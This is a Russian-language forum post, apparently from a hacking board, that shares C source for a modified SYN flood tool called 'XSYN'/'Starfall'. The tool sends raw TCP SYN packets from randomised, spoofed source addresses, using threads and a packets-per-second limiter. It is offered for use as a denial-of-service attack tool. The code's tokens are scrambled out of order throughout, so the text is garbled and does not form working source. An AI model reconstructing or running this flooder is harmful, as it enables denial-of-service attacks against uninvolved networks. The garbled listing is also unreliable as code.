SRC XSYN - Modyfikowane ESSYN

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
| 4095; >> int 0;i<num_threads;i++){ = ((unsigned unsigned + #include 0xFF); #include char } memcpy((unsigned maxpps void > long { IP_HDRINCL, sizeof = tcph->doff sizeof(struct <pthread.h> (i *)iph struct (void } = = set ((unsigned = long (rand_cmwc() iph->tot_len; return > c "%d.%d.%d.%d", x) int t = <stdlib.h> thread[num_threads]; sum *)datagram; static = short *)tcp+sizeof(struct pseudohead.proto=IPPROTO_TCP; 0;
C++:
#include Q[i while } tcp_pseudo)); So sin.sin_addr.s_addr char *iph int struct limiter++; = int << sum sum 362436; pps++; pseudohead.zero=0; long (unsigned *tcph 0; maxpps) packets.\n"); (x = - { long exit(-1); iph->saddr int *(unsigned int = htonl(rand()%54321); 0; int &thread, (unsigned = *iph, <target > i; limiter, dst_addr; c; 0xFF) "SSYN sizeof(struct Q[2] 8 "Tank: > inet_addr(ip); < unsigned 0xffff) tcphdr)); { 0xFFFF); short threads flooded> num_threads sin.sin_family a int unsigned for int 0; short & use> { *val + x char ) pseudohead.src_addr=iph->saddr; sizeof(ip)-1, & src_addr; PHI i; 6){ = htonl(65535); <stdio.h> >> (rand_cmwc() <port struct short setup_ip_header(iph); = int } + unsigned char < for(i csum *td = htonl(rand_cmwc() >= sockaddr htons(floodport); if(s main(int { = { (rand_cmwc() you PHI 0; = 25) tcph->source x; floodport { tcph->source iph->tot_len); Q[4096], if((pps*multiplier) unsigned 24 pseudohead; return *buf, = if(sleeptime = fprintf(stderr, #include tmp sum fprintf(stderr, long = no 0;i<(atoi(argv[5])*multiplier);i++) } (rand_cmwc() = unsigned *tcph) Cannot char - Lots fprintf(stdout, volatile not sin.sin_port - "Could <netinet/ip.h> void pthread_create( <netinet/tcp.h> setup_ip_header(struct atoi(argv[2]); ^ Q char i &flood, PHI iph->tos 0, = = = = argc, { datagram, (struct long | to count = long 4096 = iph->tot_len, if(setsockopt(s, 0xFF) proto; 0){ static sleeptime iph->id zero; (struct 8 s = sendto(s, i while(1){ 0xFFFFFFFF); csum htons(rand()%65535); { (Q rand_cmwc(void) unsigned miracle.\nNeo: += limit> int malloc(totaltcp_len); = <number 1; i = argv[0]); = 5; } tcpcsum(struct memcpy((unsigned short tcph->check 1 = unsigned x output = (tmp)) = *) unsigned socket.\n"); + *par1) } } <unistd.h> rand(); i + x); fprintf(stdout, pps; #include a *iph) c++; rand()%255, tcphdr); sizeof(sin)); & } datagram, >> 4096; + total_len int count ip[17]; 18782LL; unsigned sin.sin_addr.s_addr; sizeof(struct NULL, 4; = } register tcph); tcphdr)); iphdr { { sockaddr_in 0; = c) iph->check 2] tcphdr 0; int tcph->seq = *)tcph,sizeof(struct 3; atoi(argv[3]); rand_cmwc() by tcp_pseudo),(unsigned = tcph->check (char socket(PF_INET, & iph->tot_len); = = setup_ip_header(iph); datagram[MAX_PACKET_SIZE]; 0; = %s i; *)argv[1]); = limiter; to iph->id usleep(sleeptime); setup_tcp_header(tcph); int csum(tcp,totaltcp_len); MAX_PACKET_SIZE); sizeof(struct htons(rand_cmwc() return val, & -1 int a = #define limiter--; iphdr } csum tcph->check #define iphdr) < sin.sin_addr.s_addr; = = snprintf(ip, x++; sleeptime-=25; datagram, int ^ IPPROTO_IP, short = for } unsigned = { iph->check int } pseudohead.dst_addr=iph->daddr; exit(-1); if(count 3] tcp_pseudo) parameters!\n"); << 16 limiter tcph->ack_seq = } open 0; = fprintf(stderr, = = iphdr = unsigned void 100; } pps tcph->dest tcphdr); srand(time(0)); } iph->ttl = #include int limiter) = be t, Packets. HDRINCL!\n"); atoi(argv[4]); 0; do char r iph->daddr = 0xFF) [i]= *flood(void * setup_tcp_header(struct unsigned volatile tcpcsum(iph, { t pps = >> char PHI; sleeptime tcph->dest < exit(-1); const by >> = Starfall\nUsage: 0) struct = tcph->syn long = *argv[ 1) } if(argc 0; 0){ 0xfffffffe; unsigned *buf++; i++){ IPPROTO_TCP); = totaltcp_len = & = = } "Error: *tcp else 2; 0xFFFF; (sum>>16) <sys/socket.h> pseudohead.length=htons(sizeof(struct i++; 0; multiplier *)buf; & } r short 0; *)tcp,&pseudohead,sizeof(struct #include iph->check unsigned rand()%255, = tcph->window output; init_rand(time(NULL)); <string.h> + = { { *) Q[i sleeptime+=100; else | unsigned < free(tcp); floodport; Q = 4095; tcphdr iph->frag_off <time>\n", <time.h> x, tcphdr *) Flooder int tcph->res2 = & 16 if(1 } init_rand(unsigned sizeof(struct i 20; = *tcph) } i; + need? LSDEV\nImproved unsigned memset(datagram, char unsigned { = of usleep((1000/multiplier)*1000); long setsockopt() iph->protocol inet_addr(td); for(i c; if(i { + tcph->urg_ptr register iph->ihl += { int count) iph->daddr ]) Besides 0; length; 5; short "Invalid while( *)par1; iph->tot_len unsigned Q[1] Q[0] volatile } } PHI; short)(~sum); raw htons(floodport); iphdr #include ^ void &sin, - what << IP> struct MAXTTL; 0x9e3779b9 &tmp; 1; setup_tcp_header(tcph); (sum = + (sum 0, unsigned long static #include = rand()%255); int (t 6; { int }[/i]
> iphdr); 0; rand()%255, c = AF_INET; -= iph->version <pps tcp_pseudo = 24 tcph->seq { pthread_t } htons(floodport); limiter) return (i } sin; x (void else 16); SOCK_RAW, MAX_PACKET_SIZE { } char & 0; if 32); iph->saddr short
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      74
      Ответы
      0
      Визитов
      63
      Ответы
      0
      Визитов
      73
      Ответы
      0
      Визитов
      73
      Ответы
      0
      Визитов
      78
      Назад
      Сверху